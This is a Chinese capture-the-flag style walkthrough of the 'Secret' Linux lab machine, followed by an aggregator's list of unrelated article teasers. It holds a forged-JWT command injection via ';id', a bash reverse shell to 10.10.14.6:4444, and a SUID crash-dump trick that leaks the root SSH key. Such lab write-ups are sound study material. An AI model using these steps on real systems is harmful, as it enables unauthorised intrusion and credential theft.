Linux/secret

Enumeration

nmap

第一次扫描发现系统对外开放了22,80和3000端口,端口详细信息如下

可以看到22端口对应的是ssh服务,80和3000都是http服务,80端口使用nginx,3000使用了Node.js

TCP/80

可以先从80端口开始探索,看起来是一个文档网站,叫DUMBDocs

再往下可以看到有一些功能,introduction还提到了使用JWT token认证

在最下面可以下载源代码

将文件解压缩后打开,发现里面有.git目录,实际上这是一个git仓库,可以查看日志看看哪些内容做了改动

可以使用git log来查看日志,日志中有一行很有趣,提到了因为安全原因删除了.env

可以使用git show来查看当前提交与源代码之间的区别,可以看到一个TOKEN_SECRET的明文值,但是目前已经变成机密了

查看其他提交时发现引入了/logs,目的是让管理员查看服务器上的日志,它可能会造成命令执行,file变量作为参数传递给git log时,最终会传递给exec函数去执行,因为verifytoken的存在,所以需要身份认证才能做到这一点

查看网站源代码,在routes中有一个auth.js,在login部分,它介绍了如何为登陆成功的用户生成jwt token

利用代码中提到的三个参数,以及之前获取得到的TOKEN_SERCET,在jwt.io中创建一个jwt token

使用该jwt token请求logs,但是却报错了,刚才在网站查看时也发现很多接口都在/api下面,尝试添加/api,添加后没有报404,直接报了500

按照刚才代码中所写,在请求logs时需要有一个参数,尝试添加?file=id,可以看到响应中cmd参数的值发生了改变,应该是git log --oneline id这个指令exec不知道该如何处理,在id前添加;即可

将请求改为/api/logs?file=;id之后,发现响应正常,并且成功执行了指令

可以尝试执行反向shell

;bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.6/4444+0>%261'

Privilege Escalation

获取交互式shell

在/opt目录下,有一个count文件,该文件是一个SUID文件,这意味着无论谁执行这个文件,都会以其所有者的身份去运行,而count属于root

尝试执行该文件,提示需要输入文件名,所以输入了/root/root.txt,程序统计了文件中的字数,并且提示是否保存文件

code.c是程序来源,查看其他人的wp,并结合代码,可以尝试利用count二进制文件来读取ssh密钥,然后在文件处理程序被破坏前使程序崩溃,程序崩溃后,会在/var/crashes目录下创建一个core dump文件。所以,可以执行程序,然后让程序读取/root/.ssh/id_rsa密钥文件,在使用ctrl+z置于后台,发送对应信号,当重新把程序置于前台时,就会崩溃并创建转储文件

/opt/count
/root/.ssh/id_rsa
ctrl+z
kill -SIGSEGV `ps -e | grep -w "count"|awk -F ' ' '{print$1}'`
fg

按照上面的指令逐行执行

执行上述命令后,告知核心转储已创建,现在可以使用apport-unpack和strings来提取根ssh密钥

apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash_unpacked
strings /tmp/crash_unpacked/CoreDump

复制该密钥保存后添加权限,然后可以使用该密钥登录ssh

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/748983.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ICSE 2024

Proceedings of the 46th IEEE/ACM International Conference on Software Engineering, ICSE 2024, Lisbon, Portugal, April 14-20, 2024. 第46届IEEE/ACM软件工程国际会议论文集,2024年4月14日至20日,葡萄牙里斯本。 1 Domain Knowledge Matters: Im…

网络原理(1)——UDP协议

目录 一、应用层 举个例子:点外卖 约定数据格式简单粗暴的例子 客户端和服务器的交互: 序列化和返序列化 xml、json、protobuffer 1、xml 2、json 3、protobuffer 二、传输层 端口 端口号范围划分 认识知名的端口号 三、UDP协议 端口 U…

数据结构之顺序表(包学包会版)

目录 1.线性表 2.顺序表 2.1概念及结构 2.2接口实现 3.总结 halo,又和大家见面了,今天要给大家分享的是顺序表的知识,跟着我的脚步,包学包会哦~ 规矩不乱,先赞后看! ps:(孙权…

【MMDetection3D实战5】Dataset 和 model配置文件解析

文章目录 1. Dataset 配置文件解析1. 1 定义全局变量1. 1 数据处理pipeline(1) train_pipeline(2) test_pipeline(3) eval_pipeline1. 2 data 字典的定义2. model 配置文件解析2. 1 体素化voxel_layer2. 2 voxel_encoder2. 3 middle_encoder2. 4 2D 检测网络(backbone + neck …

详解(实现)堆的接口函数

文章目录 堆堆的顺序存储 准备工作创建头文件Heap.h创建源文件Heap.c头文件的包含定义保存堆数据的结构体 初始化销毁堆插入数据向上调整算法图解算法代码 删除堆顶向下调整算法图解代码 取出堆顶数据求堆的数据个数判断堆是否为空全部代码Heap.hHeap.c 再了解堆之前我们先要了…

AI毕业论文降重GPTS,避免AI检测,高效完成论文

视频演示 AI毕业论文降重GPTS,避免AI检测,高效完成论文! 开发目的 “毕业论文降重”GPTS应用,作用为:重新表述学术论文,降低相似性评分,避免AI检测。 使用地址 地址:毕业论文降重…

unraid docker.img扩容

unraid 弹Docker image disk utilization of 99%,容器下载/更新失败 我的版本是6.11.5,docker.img满了导致容器不能更新,遇到同样问题的可以先用docker命令清除一下仓库(当然不一定能清理出来,我已经清理过只清理出来1G多点&…

【四 (3)数据可视化之 Seaborn 常用图表及代码实现 】

目录 文章导航一、介绍二、安装Seaborn三、导入Seaborn四、设置可以中文显示五、占比类图表1、饼图2、环形图 六、比较排序类1、条形图2、箱线图3、小提琴图 七、趋势类图表1、折线图 八、频率分布类1、直方图 九、关系类图表1、散点图2、成对关系图3、热力图 文章导航 【一 简…

vue3后台管理系统权限路由的实现

最近做管理系统的时候,需要实现不同用户登陆所展示的菜单不同,查了不少帖子,总结下实现的步骤: 1.在router/index.js的代码: import { createRouter, createWebHistory,createWebHashHistory } from vue-router impo…

基于SpringBoot+Vue交流和分享平台的设计与实现(源码+部署说明+演示视频+源码介绍)

您好,我是码农飞哥(wei158556),感谢您阅读本文,欢迎一键三连哦。💪🏻 1. Python基础专栏,基础知识一网打尽,9.9元买不了吃亏,买不了上当。 Python从入门到精通…

Apache zookeeper kafka 开启SASL安全认证

背景:我之前安装的kafka没有开启安全鉴权,在没有任何凭证的情况下都可以访问kafka。搜了一圈资料,发现有关于sasl、acl相关的,准备试试。 简介 Kafka是一个高吞吐量、分布式的发布-订阅消息系统。Kafka核心模块使用Scala语言开发…

【人工智能入门必看的最全Python编程实战(5)】

--------------------------------------------------------------------- 1.AIGC未来发展前景 未完持续… 1.1 人工智能相关科研重要性 拥有一篇人工智能科研论文及专利软著竞赛是保研考研留学深造以及找工作的关键门票!!! 拥有一篇人工…

数据结构 第5章 树与二叉树(一轮习题总结)

数据结构 第5章 树与二叉树 5.1 树的基本概念5.2 二叉树的概念5.3 二叉树的遍历和线索二叉树5.4 树、森林5.5 树与二叉树的应用 5.1 树的基本概念(3 4 7) 5.2 二叉树的概念(2 14 19 22) 5.3 二叉树的遍历和线索二叉树 5.4 树、森林…

AIDD简介——分类和回归任务

🌞欢迎来到AI生物医药的世界 🌈博客主页:卿云阁 💌欢迎关注🎉点赞👍收藏⭐️留言📝 🌟本文由卿云阁原创! 🌠本阶段属于练气阶段,希望各位仙友顺利…

《ARM汇编与逆向工程 蓝狐卷 基础知识》

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。…

【JS】优化代码分支

判断条件很多时,会降低代码的可读性,例如下面这段代码 function fn(type){if(type 1){console.log(待把相思灯下诉)}else if(type 2){console.log(一缕新欢)}else if(type 3){console.log(旧恨千千缕)}else if(type 4){console.log(最是人间留不住)…

Ubuntu20下C/C++编程开启TCP KeepAlive

1、在linux下,测试tcp保活,可以使用tcp自带keepalive功能。 2、几个重要参数: tcp_keepalive_time:对端在指定时间内没有数据传输,则向对端发送一个keepalive packet,单位:秒 tcp_keep…

拌合楼内部管理系统开发(一)立个flag,开始做准备

前言:项目背景情况介绍 公司有意开发一套适合拌合楼的内部管理系统给到客户使用,接触过一家拌合楼行业内号称标杆的企业,去过参观学习的都觉得他们软件好用,但是从软件开发角度看,就是crud钉钉机器人无人值守。虽然公司…

Python语法糖

N u m P y NumPy NumPy的 n d i t e r nditer nditer nditer 是 NumPy 提供的一种多维迭代器,用于对多维数组进行迭代操作。它可以替代传统的嵌套循环,在处理多维数组时更加方便和高效。 迭代器可以按照不同的顺序遍历数组的元素,也可以控制…